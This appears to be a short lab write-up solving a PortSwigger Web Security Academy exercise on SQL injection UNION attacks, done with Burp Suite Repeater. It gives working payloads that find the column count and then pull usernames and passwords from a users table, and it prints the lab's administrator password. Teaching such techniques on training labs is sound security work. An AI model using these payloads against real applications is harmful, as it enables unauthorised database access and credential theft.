---
description: >-
  https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
---

# SQL injection UNION attack, retrieving data from other tables

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2Fq2EAXSMgTEcZTHTOdLh6%2F1.png?alt=media&#x26;token=40a3a526-61bf-470d-b890-51d2a76eaac2" alt=""><figcaption></figcaption></figure>

Let's filter for `Gifts`.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FeELCT14SFJM9Ndbbcooq%2F2.png?alt=media&#x26;token=6e15df6f-eb75-4621-a203-525531ba0d53" alt=""><figcaption></figcaption></figure>

Since we are proxying the traffic through Burp Suite, we can go to the `Proxy > HTTP History` tab to view this request.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FYQBZbubqVQdRK21QPBqf%2F3.png?alt=media&#x26;token=4baa1577-224b-49d9-9379-90b2a314adf0" alt=""><figcaption></figcaption></figure>

Let's forward this request to the `Repeater` for further modification.

Once in the `Repeater`, let's set the `category` parameter to the following:

```
' UNION SELECT 'test'--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F10AGFQaFGMMuVrS1yTQp%2F4.png?alt=media&#x26;token=831c1218-7746-4f6c-aa42-571ed8862921" alt=""><figcaption></figcaption></figure>

Since the application returns an error, we know that the number of columns in the current query is more than 1.

Let's set the `category` parameter to the following:

```
' UNION SELECT 'test', 'test'--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FLQ0ax5yglcahmF710sEM%2F5.png?alt=media&#x26;token=0bc7f05e-f961-4bc0-9ad1-804d0c580dd0" alt=""><figcaption></figcaption></figure>

Now that we know the current query has two columns, we can retrieve the usernames and password from the `username` and `password` columns respectively.

```
' UNION SELECT username, password FROM users--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FcSzf8dM1BUKUVa2NP3j2%2F6.png?alt=media&#x26;token=05db9cd6-6332-46c3-a127-18436e8ffdaa" alt=""><figcaption></figcaption></figure>

We can now login as the admin using the following credentials:

| Username      | Password             |
| ------------- | -------------------- |
| administrator | 21tpnvx8ho5pyej8z6sy |

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F3b933AZmzz3I4kAyxIvN%2F7.png?alt=media&#x26;token=6c7bbf46-e4e0-498a-a6d6-3422d4378715" alt=""><figcaption></figcaption></figure>

We have solved the lab.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FubJx52tXs2QMEAV3kcV4%2F88.png?alt=media&#x26;token=f03f3216-0712-4616-af5b-728d78b0874c" alt=""><figcaption></figcaption></figure>
